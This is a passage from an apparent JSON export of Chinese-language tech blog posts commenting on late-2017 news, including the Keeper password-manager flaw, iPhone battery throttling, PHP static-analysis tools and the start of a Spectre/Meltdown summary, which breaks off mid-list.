    "body": "<a href=\"https://arstechnica.com/\">Ars Technica</a> 報導了 <a href=\"https://en.wikipedia.org/wiki/Windows_10\">Windows 10</a> 自動安裝了 <a href=\"https://keepersecurity.com/\">Keeper</a> 這個密碼管理程式，然後這個管理程式被 <a href=\"https://en.wikipedia.org/wiki/Tavis_Ormandy\">Tavis Ormandy</a> 發現有安全漏洞，可以讓惡意網站直接存取密碼 (參考「<a href=\"https://bugs.chromium.org/p/project-zero/issues/detail?id=1481\">keeper: privileged ui injected into pages (again)</a>」)：「<a href=\"https://arstechnica.com/information-technology/2017/12/microsoft-is-forcing-users-to-install-a-critically-flawed-password-manager/\">For 8 days Windows bundled a password manager with a critical plugin flaw</a>」。\r\n\r\n發現漏洞的作者在 16 個月前有抓到 Keeper 的漏洞 (參考「<a href=\"https://bugs.chromium.org/p/project-zero/issues/detail?id=917\">Keeper: Trusted UI is injected into untrusted webpage</a>」)，於是他就拿同樣的方法打一打，結果就爆了：\r\n\r\n<blockquote>I assume this is some bundling deal with Microsoft. I've heard of Keeper, I remember filing a bug a while ago about how they were injecting privileged UI into pages (   issue 917   ). I checked and, they're doing the same thing again with this version. I think I'm being generous considering this a new issue that qualifies for a ninety day disclosure, as I literally just changed the selectors and the same attack works.</blockquote>\r\n\r\n漏洞後來被修正了，但是 Keeper 也對 Ars Technica 的記者提告：「<a href=\"http://www.zdnet.com/article/security-firm-keeper-sues-news-reporter-over-vulnerability-story/\">Security firm Keeper sues news reporter over vulnerability story</a>」。\r\n\r\n<blockquote>Keeper said in its lawsuit that Goodin and his employer, tech site Ars Technica, also named as defendant, \"made false and misleading statements about the Keeper software application suggesting that it had a 16-month old bug that allowed sites to steal user passwords.\"</blockquote>\r\n\r\n這樣就清楚知道 Keeper 這家公司的調性了，之後看到他們家的東西要小心。\r\n\r\n另外會不會幾個月後之後變成法院認證呢...",
    "title": "Windows 10 自動安裝 Keeper 產生安全漏洞，然後 Keeper 決定告記者..."
  },
  {
    "id": "7983",
    "body": "翻資料的時候覺得怎麼跟印象中的不太一樣，多花些時間翻了一下，發現原來有兩個東西同名...\r\n\r\n一個是 <a href=\"https://www.gnu.org/\">GNU</a> 的 <a href=\"https://www.gnu.org/software/gperf/\">gperf</a>，給定字串集合，產生 C 或 C++ 的 perfect hash function (i.e. no collision)：\r\n\r\n<blockquote>GNU gperf is a perfect hash function generator. For a given list of strings, it produces a hash function and hash table, in form of C or C++ code, for looking up a value depending on the input string. The hash function is perfect, which means that the hash table has no collisions, and the hash table lookup needs a single string comparison only.</blockquote>\r\n\r\n另外一個是 <a href=\"https://www.google.com/\">Google</a> 弄出來的 <a href=\"https://github.com/gperftools/gperftools\">gperftools</a>，<code>malloc()</code> 的替代品以及效能分析工具：\r\n\r\n<blockquote>gperftools is a collection of a high-performance multi-threaded malloc() implementation, plus some pretty nifty performance analysis tools.</blockquote>",
    "title": "兩個 gperf..."
  },
  {
    "id": "7984",
    "body": "查資料的時候查到的，在 <a href=\"https://github.com/\">GitHub</a> 上的 <a href=\"https://github.com/Roave/SecurityAdvisories\">Roave/SecurityAdvisories</a> 這個專案利用 <a href=\"https://getcomposer.org/\">Composer</a> 的 <code>require</code> 條件限制，擋掉有安全漏洞的 library：\r\n\r\n<blockquote>This package ensures that your application doesn't have installed dependencies with known security vulnerabilities.</blockquote>\r\n\r\n看一下 <a href=\"https://github.com/Roave/SecurityAdvisories/blob/master/composer.json\">composer.json</a> 就知道作法了，裡面的 <code>description</code> 也說明了這個專案的用法：\r\n\r\n<blockquote>Prevents installation of composer packages with known security vulnerabilities: no API, simply require it</blockquote>\r\n\r\n這方法頗不賴的 XDDD",
    "title": "用 Composer 的 require 限制，擋掉有安全漏洞的 library..."
  },
  {
    "id": "7990",
    "body": "#content, #pagecont {\n\twidth: 70%;\n}\n.wrapper {\n  width: 95%;\n}\na:visited {\n\tcolor: #777;\n}\nblockquote, body {\n\tfont-size: 16px;\n}\ncode, tt {\n\tbackground: #eee;\n\tpadding: 0.1em 0.2em;\n}",
    "title": "wrock-metro"
  },
  {
    "id": "7991",
    "body": "之前看到「<a href=\"https://newsroom.fb.com/news/2017/12/hard-questions-is-spending-time-on-social-media-bad-for-us/\">Hard Questions: Is Spending Time on Social Media Bad for Us?</a>」這篇，一直不知道要怎麼吐槽... 然後看到 <a href=\"https://twitter.com/\">Twitter</a> 上的這則 tweet XDDD\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">Facebook staff scientist says people are unhappy on Facebook because they’re not posting enough. But there’s a cure! The cure is post more on Facebook. <a href=\"https://t.co/vZMkNpnZvN\">https://t.co/vZMkNpnZvN</a> <a href=\"https://t.co/SIvN8knahz\">pic.twitter.com/SIvN8knahz</a></p>&mdash; Nellie Bowles (@NellieBowles) <a href=\"https://twitter.com/NellieBowles/status/941755607329075200?ref_src=twsrc%5Etfw\">December 15, 2017</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n既視感太重了，找了一下其他行業對應的資料：\r\n\r\n<ul>\r\n\t<li>賣藥的資助研究：「<a href=\"https://www.twreporter.org/a/opinion-research-article-manufacturing\">公醫時代／「製造」論文：如何規範產業資助產生的研究偏差</a>」。</li>\r\n\t<li>賣糖的資助研究：「<a href=\"https://theinitium.com/article/20160913-dailynews-sugar-industry-shift-blame/\">美國糖業被揭收買科研論文，令脂肪獨自承擔心臟疾病罵名近半世紀</a>」。</li>\r\n</ul>\r\n\r\n真的不知道怎麼吐槽 XDDD",
    "title": "Facebook 自己找人研究，Social Media 是否對人類有害 XDDD"
  },
  {
    "id": "7995",
    "body": "<a href=\"https://www.expressvpn.com/\">ExpressVPN</a> 在土耳其的 VPN server 被抄，為了調查大使的刺殺案件：「<a href=\"https://torrentfreak.com/vpn-server-seized-to-investigate-russian-ambassadors-assassination-1171219/\">VPN Server Seized to Investigate Russian Ambassador’s Assassination</a>」。\r\n\r\n<blockquote>A VPN server operated by ExpressVPN was seized by Turkish authorities to investigate the assassination of Andrei Karlov, the Russian Ambassador to Turkey. Authorities hoped to find more information on people who removed digital traces of the assassin, but the server in question held no logs.</blockquote>\r\n\r\nExpressVPN 官方的回覆在「<a href=\"https://www.expressvpn.com/blog/expressvpn-statement-andrey-karlov-investigation/\">ExpressVPN statement on Andrey Karlov investigation</a>」，主要的部份是：\r\n\r\n<blockquote>As we stated to Turkish authorities in January 2017, ExpressVPN does not and has never possessed any customer connection logs that would enable us to know which customer was using the specific IPs cited by the investigators. Furthermore, we were unable to see which customers accessed Gmail or Facebook during the time in question, as we do not keep activity logs. We believe that the investigators’ seizure and inspection of the VPN server in question confirmed these points.</blockquote>\r\n\r\n至於是不是真的，就需要時間確認了...",
    "title": "ExpressVPN 在土耳其的 VPN server 被抄..."
  },
  {
    "id": "8002",
    "body": "在「<a href=\"https://www.osnews.com/story/30135/Unix_sockets_come_to_Windows\">Unix sockets come to Windows</a>」這邊看到微軟的說明文「<a href=\"https://blogs.msdn.microsoft.com/commandline/2017/12/19/af_unix-comes-to-windows/\">AF_UNIX comes to Windows</a>」，<a href=\"https://en.wikipedia.org/wiki/Windows_10\">Windows 10</a> 將要引入 <code>AF_UNIX</code> 了：\r\n\r\n<blockquote>Beginning in Insider Build 17063, you’ll be able to use the unix socket (AF_UNIX) address family on Windows to communicate between Win32 processes. Unix sockets allow inter-process communication (IPC) between processes on the same machine.</blockquote>\r\n\r\n所以這讓跨 process 溝通的方式又多了一種，而 Unix 的程式如果要移植到 Windows 上，至少這塊有相容... (相容性與 bug 還不知道情況 XD)",
    "title": "Windows 10 將支援 AF_UNIX (Unix Socket)"
  },
  {
    "id": "8003",
    "body": "在「<a href=\"https://blog.gslin.org/archives/2017/12/10/7912/iphone-%E7%9A%84%E9%9B%BB%E6%B1%A0%E8%88%87%E6%95%88%E8%83%BD/\">iPhone 的電池與效能</a>」這篇提到了 <a href=\"https://www.apple.com/iphone/\">iPhone</a> 換電池可以恢復效能，結果 <a href=\"https://www.geekbench.com/\">Geekbench</a> (也就是原來在 <a href=\"https://www.reddit.com/\">Reddit</a> 上抱怨的人用的測速軟體) 的 John Poole 從 Geekbench 的回報資料庫裡分析了資料，發現了特別的現象後寫下這篇文章 (於是後來引發一連串報導，以及 <a href=\"https://www.apple.com/\">Apple</a> 的 PR 事件)：「<a href=\"https://www.geekbench.com/blog/2017/12/iphone-performance-and-battery-age/\">iPhone Performance and Battery Age</a>」。\r\n\r\n他先拿 <a href=\"https://en.wikipedia.org/wiki/IPhone_6S\">iPhone 6S</a> 分析，這看起來就不太妙：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/FBAkRIH.webp\" /><img src=\"https://i.gslin.com/imgur/FBAkRIH.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/yX2lIxz.webp\" /><img src=\"https://i.gslin.com/imgur/yX2lIxz.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/VGsPOMv.webp\" /><img src=\"https://i.gslin.com/imgur/VGsPOMv.jpg\" alt=\"\" /></picture>\r\n\r\n再拿 <a href=\"https://en.wikipedia.org/wiki/IPhone_7\">iPhone 7</a> 的資料分析，就更確定不妙：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/RW99Jwk.webp\" /><img src=\"https://i.gslin.com/imgur/RW99Jwk.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/riRxt0e.webp\" /><img src=\"https://i.gslin.com/imgur/riRxt0e.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/TNYdR0B.webp\" /><img src=\"https://i.gslin.com/imgur/TNYdR0B.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/lVxyeoi.webp\" /><img src=\"https://i.gslin.com/imgur/lVxyeoi.jpg\" alt=\"\" /></picture>\r\n\r\n可以看到 <a href=\"https://www.apple.com/ios/\">iOS</a> 的 10.2.1 與 11.2.0 有奇怪的效能集中區。\r\n\r\n後續蘋果也確認會刻意降速：「<a href=\"https://techcrunch.com/2017/12/20/apple-addresses-why-people-are-saying-their-iphones-with-older-batteries-are-running-slower/\">Apple addresses why people are saying their iPhones with older batteries are running ‘slower’</a>」。\r\n\r\n然後最新的發展就不太意外了，開始要打架了：「<a href=\"https://arstechnica.com/tech-policy/2017/12/days-after-iphone-battery-fiasco-lawsuits-against-apple-begin-to-mount/\">Days after iPhone battery fiasco, lawsuits against Apple begin to mount</a>」。\r\n\r\n接下來是耶誕假期，應該要等明年才會有新消息了...",
    "title": "iPhone 換電池恢復效能的事情傳到 Geekbench 後..."
  },
  {
    "id": "8004",
    "body": "看到用鋁箔紙改善無線網路死角的文章 XDDD：「<a href=\"https://www.jiffchat.com/m/2ZUaCkOed9+sHn4FHOS+PC2TGvE_vfjTVtKvyYvWbAE=\">How I amplified my home's Wi-Fi with aluminum foil.</a>」。完成品長這個樣子：\r\n\r\n<img src=\"https://i.gslin.com/imgur/rScry5h.jpg\" alt=\"\" />\r\n\r\n然後從下面的第一張變第二張 XDDD：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/84pE5S9.webp\" /><img src=\"https://i.gslin.com/imgur/84pE5S9.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/R0jdWea.webp\" /><img src=\"https://i.gslin.com/imgur/R0jdWea.jpg\" alt=\"\" /></picture>\r\n\r\n然後這幾天他又把鋁箔紙變大，但是好像沒有更好 XDDD\r\n\r\n<blockquote>I didn't see any difference in terms of coverage, it's still the same.</blockquote>\r\n\r\n<img src=\"https://i.gslin.com/imgur/oxzendf.jpg\" alt=\"\" />\r\n\r\n是個家裡太大的煩惱 XDDD",
    "title": "用鋁箔紙改善無線網路死角 XDDD"
  },
  {
    "id": "8005",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 上看的消息，2018 年上到 <a href=\"https://www.netflix.com/\">Netflix</a>：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">Happy holidays everyone! Excited to announce that <a href=\"https://twitter.com/hashtag/AlphaGo?src=hash&amp;ref_src=twsrc%5Etfw\">#AlphaGo</a> Movie will be available to watch on <a href=\"https://twitter.com/hashtag/Netflix?src=hash&amp;ref_src=twsrc%5Etfw\">#Netflix</a> from 1st January 2018! <a href=\"https://t.co/AlJhM9GuAa\">pic.twitter.com/AlJhM9GuAa</a></p>&mdash; AlphaGo Movie (@alphagomovie) <a href=\"https://twitter.com/alphagomovie/status/945224358028562432?ref_src=twsrc%5Etfw\">December 25, 2017</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n沒幾天了，來等吧...",
    "title": "AlphaGo 的電影將會上在 Netflix"
  },
  {
    "id": "8007",
    "body": "前幾天提到 <a href=\"https://www.apple.com/\">Apple</a> 在新版 <a href=\"https://www.apple.com/ios/\">iOS</a> 上搞出的電池問題：「<a href=\"https://blog.gslin.org/archives/2017/12/25/8003/iphone-%E6%8F%9B%E9%9B%BB%E6%B1%A0%E6%81%A2%E5%BE%A9%E6%95%88%E8%83%BD%E7%9A%84%E4%BA%8B%E6%83%85%E5%82%B3%E5%88%B0-geekbench-%E5%BE%8C/\">iPhone 換電池恢復效能的事情傳到 Geekbench 後...</a>」，結果看起來是 PR 部門整個加班處理 XDDD\r\n\r\n台灣版的公告在「<a href=\"https://www.apple.com/tw/iphone-battery-and-performance/\">致廣大顧客關於 iPhone 電池與效能的說明</a>」這邊可以看到，英文版的則是在「<a href=\"https://www.apple.com/iphone-battery-and-performance/\">A Message to Our Customers about iPhone Batteries and Performance</a>」這邊。\r\n\r\n前面講的都是大家都已經知道的事情了，重點在後續的部份：\r\n\r\n<blockquote><ul><li>Apple 為需要更換電池的 iPhone 6 或後續機種使用者，降低更換已過保固期的 iPhone 電池價格，從 NT$2,590 降為 NT$890，降幅為 NT$1,700。自 2018 年 1 月底至 12 月，全球同步進行。詳細優惠資訊將在近期於 apple.com/tw 公布。</li>\r\n<li>在 2018 年初，我們將發布一項 iOS 軟體更新，其中的新功能可為使用者更清楚顯示 iPhone 電池的健康狀態，讓他們可以自己看到電池的狀態是否影響效能。</li></ul></blockquote>\r\n\r\n<blockquote><ul><li>Apple is reducing the price of an out-of-warranty iPhone battery replacement by $50 — from $79 to $29 — for anyone with an iPhone 6 or later whose battery needs to be replaced, starting in late January and available worldwide through December 2018. Details will be provided soon on apple.com.</li>\r\n<li>Early in 2018, we will issue an iOS software update with new features that give users more visibility into the health of their iPhone’s battery, so they can see for themselves if its condition is affecting performance.</li></ul></blockquote>\r\n\r\n所以總算是能在 <a href=\"https://www.apple.com/iphone/\">iPhone</a> 上面直接看到電池的情況了...",
    "title": "蘋果對於電池的新聞稿"
  },
  {
    "id": "8008",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://web.stanford.edu/class/cs224n/reports/2761006.pdf\">DeepZip: Lossless Compression using Recurrent Networks</a>」這篇論文，利用 <a href=\"https://en.wikipedia.org/wiki/Recurrent_neural_network\">RNN</a> 幫助壓縮技術壓的更小，而程式碼在 <a href=\"https://github.com/\">GitHub</a> 的 <a href=\"https://github.com/kedartatwawadi/NN_compression\">kedartatwawadi/NN_compression</a> 上有公開讓大家可以測試。\r\n\r\n<img src=\"https://blog.gslin.org/wp-content/uploads/2017/12/Screenshot-from-2017-12-30-06-35-58.png\" alt=\"\">\r\n\r\n<img src=\"https://blog.gslin.org/wp-content/uploads/2017/12/Screenshot-from-2017-12-30-06-39-44.png\" alt=\"\">\r\n\r\n裡面有個比較特別的是，<a href=\"https://en.wikipedia.org/wiki/Lagged_Fibonacci_generator\">Lagged Fibonacci</a> PRNG 產生出來的資料居然有很好的壓縮率，這在傳統的壓縮方式應該都是幾乎沒有壓縮率...\r\n\r\n整體的壓縮率都還不錯，不過比較的對象只有 <a href=\"https://en.wikipedia.org/wiki/Gzip\">gzip</a>，沒有拿比較先進的壓縮軟體進行比較) 像是 <a href=\"https://en.wikipedia.org/wiki/Xz\">xz</a> 之類的)，看數字猜測在一般的情況下應該不會贏太多，不過光是 PRNG 那部份，這篇論文等於是給了一個不同的方向讓大家玩...",
    "title": "基於 RNN 的無損壓縮"
  },
  {
    "id": "8012",
    "body": "在「<a href=\"https://kottke.org/17/12/the-rates-of-traffic-flow-on-different-kinds-of-4-way-intersections\">The rates of traffic flow on different kinds of 4-way intersections</a>」這邊看到有趣的東西，利用遊戲 <a href=\"https://en.wikipedia.org/wiki/Cities:_Skylines\">Cities: Skylines</a> 模擬各種道路設計對流量的影響：\r\n\r\n<blockquote>This is an animation of traffic flows simulated on 30 different kinds of four-way junctions, from two roads intersecting with no traffic lights or signs to complex stacked interchanges that feature very few interactions between individual cars. It was recorded in a game called Cities: Skylines, a more realistic take on SimCity.</blockquote>\r\n\r\n影片在這：\r\n\r\n<iframe width=\"640\" height=\"360\" src=\"https://www.youtube.com/embed/yITr127KZtQ\" frameborder=\"0\" gesture=\"media\" allow=\"encrypted-media\" allowfullscreen></iframe>\r\n\r\n記得這是模擬，實際情況會有其他考量，所以裡面的結果參考就好...\r\n\r\n然後裡面有看到很多常見的設計，還有一些沒看過的神奇設計 XD 另外有些設計超級複雜，第一次開的人真的會知道怎麼開嗎 XDDD",
    "title": "各種道路設計對於流量的影響？"
  },
  {
    "id": "8013",
    "body": "<a href=\"https://getpsalm.org/\">Psalm</a> 的 slogan 是「A static analysis tool for PHP」，由 <a href=\"https://vimeo.com/\">Vimeo</a> 發展並開放出來的軟體：「<a href=\"https://github.com/vimeo/psalm\">vimeo/psalm</a>」。\r\n\r\n目前是 v0.3.71，所以需要 <a href=\"https://secure.php.net/\">PHP</a> 5.6 以上才能跑：\r\n\r\n<blockquote><ul><li>v0.3.x supports checking PHP 5.4 - 7.1 code, and requires PHP 5.6+ to run.</li>\r\n<li>v0.2.x supports checking PHP 5.4 - 7.0 code and requires PHP 5.4+ to run.</li></ul></blockquote>\r\n\r\nPsalm 主要的目標是找出哪邊「已經發生錯誤」，而不像其他幾套的目標是「預防」，這樣可以避免過高的 false alarm...",
    "title": "用 Psalm 掃出 PHP 有問題的程式碼"
  },
  {
    "id": "8014",
    "body": "<a href=\"https://github.com/phan/phan\">Phan</a> 這套也是拿來檢查 <a href=\"https://secure.php.net/\">PHP</a> 程式用的，也是儘量避免丟出 false alarm。不過 Phan 只能用在 PHP 7+ 環境，原因是使用 <a href=\"https://github.com/nikic/php-ast\">php-ast</a>，另外有一些額外建議要裝的套件：\r\n\r\n<blockquote>This version (branch) of Phan depends on PHP 7.1.x with the php-ast extension (0.1.5 or newer, uses AST version 50) and supports PHP version 7.1+ syntax. Installation instructions for php-ast can be found here. For PHP 7.0.x use the 0.8 branch. Having PHP's pcntl extension installed is strongly recommended (not available on Windows), in order to support using parallel processes for analysis (or to support daemon mode).</blockquote>\r\n\r\n最新版還只能跑在 PHP 7.2 上面，用的時候要注意一下 XD (我在測試時，<code>require-dev</code> 指定 <code>0.11.0</code>，結果被說只有 PHP 7.1 不符合 dependency，後來放 <code>*</code> 讓他去抓適合的版本)\r\n\r\n像是這樣的程式碼：\r\n\r\n<pre>class Foo\r\n{\r\n    /**\r\n     * @param string $p\r\n     * @return string\r\n     */\r\n    function g($p) {\r\n        if (!$p) {\r\n            return null;\r\n        }\r\n        return $p;\r\n    }\r\n}</pre>\r\n\r\n就會產生出對應的警告訊息：\r\n\r\n<pre>src/Foo.php:13 PhanTypeMismatchReturn Returning type null but g() is declared to return string</pre>\r\n\r\n也是掛進 CI 裡面的好東西...",
    "title": "用 Phan 檢查 PHP 程式的正確性"
  },
  {
    "id": "8015",
    "body": "<a href=\"https://github.com/phpstan/phpstan\">PHPStan</a> 也是 <a href=\"https://secure.php.net/\">PHP</a> 的靜態分析工具，官方給的 slogan 是「PHP Static Analysis Tool - discover bugs in your code without running it!」。然後官方給了一個 GIF，直接看就大概知道在幹什麼了：\r\n\r\n<img src=\"https://i.gslin.com/imgur/HDBVGsP.gif\" alt=\"\" />\r\n\r\n跟 <a href=\"https://github.com/phan/phan\">Phan</a> 類似，也是要 PHP 7+ 才能跑，不過實際測試發現不像 Phan 需要 <a href=\"https://github.com/nikic/php-ast\">php-ast</a>：\r\n\r\n<blockquote>PHPStan requires PHP ^gt;= 7.0. You have to run it in environment with PHP 7.x but the actual code does not have to use PHP 7.x features. (Code written for PHP 5.6 and earlier can run on 7.x mostly unmodified.)\r\n\r\nPHPStan works best with modern object-oriented code. The more strongly-typed your code is, the more information you give PHPStan to work with.\r\n\r\nProperly annotated and typehinted code (class properties, function and method arguments, return types) helps not only static analysis tools but also other people that work with the code to understand it.</blockquote>\r\n\r\n拿上一篇「<a href=\"https://blog.gslin.org/archives/2017/12/31/8014/%E7%94%A8-phan-%E6%AA%A2%E6%9F%A5-php-%E7%A8%8B%E5%BC%8F%E7%9A%84%E6%AD%A3%E7%A2%BA%E6%80%A7/\">用 Phan 檢查 PHP 程式的正確性</a>」的例子測試，也可以抓到類似的問題：\r\n\r\n<pre>vendor/bin/phpstan analyse -l 7 src/\r\n 1/1 [▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓] 100%\r\n\r\n ------ --------------------------------------------------------------\r\n  Line   src/Foo.php\r\n ------ --------------------------------------------------------------\r\n  13     Method Gslin\\Foo::g() should return string but returns null.\r\n ------ --------------------------------------------------------------\r\n\r\n\r\n [ERROR] Found 1 error</pre>\r\n\r\n這樣總算把積壓在 tab 上關於 PHP 工具都寫完了，之後要用才有地方可以翻... XD",
    "title": "也是拿來掃 PHP 程式碼的 PHPStan..."
  },
  {
    "id": "8016",
    "body": "也是個在瀏覽器 tab 上放了一陣子的連結... 先前看到 <a href=\"https://www.microsoft.com/\">Microsoft</a> 的 <a href=\"https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/time-travel-debugging-overview\">Time Travel Debugger</a> (TTD)，可以錄下程式執行的狀態，然後回放與搜尋：「<a href=\"http://robert.ocallahan.org/2017/10/thoughts-on-microsofts-time-travel.html\">Thoughts On Microsoft's Time-Travel Debugger</a>」，另外有 <a href=\"https://cppcon.org/\">CppCon</a> 2017 上的影片，在 <a href=\"https://www.youtube.com/\">YouTube</a> 上：\r\n\r\n<iframe width=\"640\" height=\"360\" src=\"https://www.youtube.com/embed/l1YJTg_A914\" frameborder=\"0\" gesture=\"media\" allow=\"encrypted-media\" allowfullscreen></iframe>\r\n\r\n另外 <a href=\"https://www.mozilla.org/\">Mozilla</a> 也有類似的工具，叫做 <a href=\"http://rr-project.org/\">rr</a> (在影片開頭就有人問類似的問題 XD)，程式碼在 <a href=\"https://github.com/\">GitHub</a> 上：「<a href=\"https://github.com/mozilla/rr\">mozilla/rr</a>」。\r\n\r\n而 TTD 與 rr 兩者最大的差異當然是平台支援的情況：\r\n\r\n<blockquote>The most important and obvious difference between TTD and rr is that TTD is for Windows and rr is for Linux (though a few crazy people have had success debugging Windows applications in Wine under rr).</blockquote>\r\n\r\n但另外一個也很重要的差異是 TTD 支援完整的 multi-threading，這對於現代的程式來說還蠻常見的：\r\n\r\n<blockquote>TTD supports recording of multiple threads in parallel, while rr is limited to a single core.</blockquote>\r\n\r\n當然，更完整的錄影也是要付出效能代價的：\r\n\r\n<blockquote>On the other hand, per-thread recording overhead seems to be much higher in TTD than in rr. It's hard to make a direct comparison, but a simple \"start Firefox, display mozilla.org, shut down\" test run on similar hardware takes about 250 seconds under TTD and 26 seconds under rr.</blockquote>\r\n\r\n不過有需要的時候應該會很方便？工具總是愈多愈好...",
    "title": "Microsoft 的 TTD 與 Mozilla 的 RR"
  },
  {
    "id": "8017",
    "body": "2017 年 <a href=\"https://cabforum.org/\">CA/Browser Forum</a> 在台北舉辦的見面會議，會議記錄總算是出爐了：「<a href=\"https://cabforum.org/2017/10/04/2017-10-04-minutes-face-face-meeting-42-taipei/\">2017-10-04 Minutes of Face-to-Face Meeting 42 in Taipei - CAB Forum</a>」。\r\n\r\n由於是辦在台北，所以台灣很多單位都有出席，像是中央警察大學 (1)、中華電信 (11)、日盛聯合會計師事務所 (1)、TWCA (3)：\r\n\r\n<blockquote>Attendance: Peter Bowen (Amazon); Geoff Keating and Curt Spann (Apple); Jeremy Shen (Central Police University); Franck Leroy (Certinomis / Docapost); Wayne Chan and Sing-man Ho (Certizen Limited); Wen-Cheng Wang, Bon-Yeh Lin, Wen-Chun Yang, Jenhao Ou, Wei-Hao Tung, Chiu-Yun Chuang, Chung-Chin Hsiao, Chin-Fu Huang, Li-Chun Chen, Pin-Jung Chiang, and Wen-Hui Tsai (Chunghwa Telecom); Alex Wight and JP Hamilton (Cisco), Robin Alden (Comodo), Gord Beal (CPA Canada), Ben Wilson and Jeremy Rowley (DigiCert), Arno Fiedler and Enrico Entschew (D-TRUST); Kirk Hall (Entrust Datacard); Ou Jingan, Zhang Yongqiang, and Xiu Lei (GDCA); Atsushi Inaba and Giichi Ishii (GlobalSign); Wayne Thayer (GoDaddy); Devon O’Brien (Google); David Hsiu (KPMG); Mike Reilly (Microsoft); Gervase Markham and Aaron Wu (Mozilla); Hoang Trung La (National Electronic Authentication Center (NEAC) of Vietnam); Tadahiko Ito (Secom Trust Systems); Leo Grove and Fotis Loukos (SSL.com); Brian Hsiung (Sunrise CPA Firm); Steve Medin (Symantec); Frank Corday and Tim Hollebeek (Trustwave); Robin Lin, David Chen, and Huang Fu Yen (TWCA); and Don Sheehy and Jeff Ward (WebTrust).</blockquote>\r\n\r\n開頭有提到會議記錄 delay 的情況：\r\n\r\n<blockquote>Preliminary Note:  The CA/Browser Forum was delayed in completing the minutes for its last Face-to-Face meeting Oct. 4-5, 2017 in Taipei, and the proposed final Minutes were only sent by the Chair to the Members on December 13, 2017 for their review.  There was not enough time for Members to review the draft before the next teleconference of December 14, and the teleconference of December 28 was cancelled due to the holidays.  The next Forum teleconference is scheduled for January 11, 2018.</blockquote>\r\n\r\n會議記錄很長，主要是有不少主題被拿到見面會議上討論，另外有一半的篇幅是在說明各家 root program policy 的變化。\r\n\r\n下次的見面會議會在三月，然後會由 <a href=\"https://www.amazon.com/\">Amazon</a> 辦在東岸：\r\n\r\n<blockquote>Peter confirmed the next F2F meeting will be hosted by Amazon on March 6-8, 2018 at its Herndon, Virginia location. More information will be provided in the coming months.</blockquote>",
    "title": "2017 年 CA/Browser Forum 在台北辦的見面會議的會議記錄出爐了..."
  },
  {
    "id": "8018",
    "body": "在「<a href=\"https://xdebug.org/docs/garbage_collection\">» Feature: Garbage Collection Statistics</a>」這邊看到 <a href=\"https://xdebug.org/\">Xdebug</a> 2.6 將能夠收集 <a href=\"https://secure.php.net/\">PHP</a> 的 GC (garbage collection) 行為了：\r\n\r\n<blockquote>Xdebug's built-in garbage collection statistics profiler allows you to find out when the PHP internal garbage collector triggers, how many variables it was able to clean up, how long it took, and how how much memory was actually freed.</blockquote>\r\n\r\n這樣 profiling 看的東西就更準確了...",
    "title": "即將出版的 Xdebug 2.6 能觀察 PHP 的 GC 情況了"
  },
  {
    "id": "8019",
    "body": "<a href=\"http://www.brendangregg.com/\">Brendan Gregg</a> 把 <a href=\"https://www.netflix.com/\">Netflix</a> 在 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 上調整的參數整理了出來：「<a href=\"http://www.brendangregg.com/blog/2017-12-31/reinvent-netflix-ec2-tuning.html\">AWS re:Invent 2017: How Netflix Tunes EC2</a>」。\r\n\r\n這些參數在 2017 的 <a href=\"https://reinvent.awsevents.com/\">AWS re:Invent</a> 時有講到，他整理出來讓大家更方便參考：\r\n\r\n<blockquote>My last talk for 2017 was at AWS re:Invent, on \"How Netflix Tunes EC2 Instances for Performance,\" an updated version of my 2014 talk.</blockquote>\r\n\r\n裡面有提到這是針對 <a href=\"http://releases.ubuntu.com/16.04/\">Ubuntu 16.04</a> 的調整 (而且是在 2017 年的版本，應該是 16.04.3？)，用之前請理解每個參數：\r\n\r\n<blockquote>WARNING: These tunables were developed in late 2017, for Ubuntu Xenial instances on EC2.</blockquote>",
    "title": "Netflix 在 EC2 上調整的參數"
  },
  {
    "id": "8021",
    "body": "<a href=\"https://www.theregister.co.uk/\">The Register</a> 發表了「<a href=\"https://www.theregister.co.uk/2018/01/02/intel_cpu_design_flaw/\">Kernel-memory-leaking Intel processor design flaw forces Linux, Windows redesign</a>」這篇文章，算是頗完整的說明了這次的安全漏洞 (以 IT 新聞媒體標準來看)，引用了蠻多資料並且試著說明問題。\r\n\r\n而這也使得整個事情迅速發展與擴散超出本來的預期，使得 <a href=\"https://www.google.com/\">Google</a> 的 <a href=\"https://googleprojectzero.blogspot.com/\">Project Zero</a> 提前公開發表了 Spectre 與 Meltdown 這兩套 CPU 安全漏洞。文章非常的長，描述的也比 The Register 那篇還完整：「<a href=\"https://googleprojectzero.blogspot.com/2018/01/reading-privileged-memory-with-side.html\">Reading privileged memory with a side-channel</a>」。\r\n\r\n在 Google Project Zero 的文章裡面，把這些漏洞分成三類，剛好依據 <a href=\"https://cve.mitre.org/\">CVE</a> 編號分開描述：\r\n\r\n<ul>\r\n\t<li>Variant 1: bounds check bypass (CVE-2017-5753)</li>\r\n\t<li>Variant 2: branch target injection (CVE-2017-5715)</li>\r\n\t<li>Variant 3: rogue data cache load 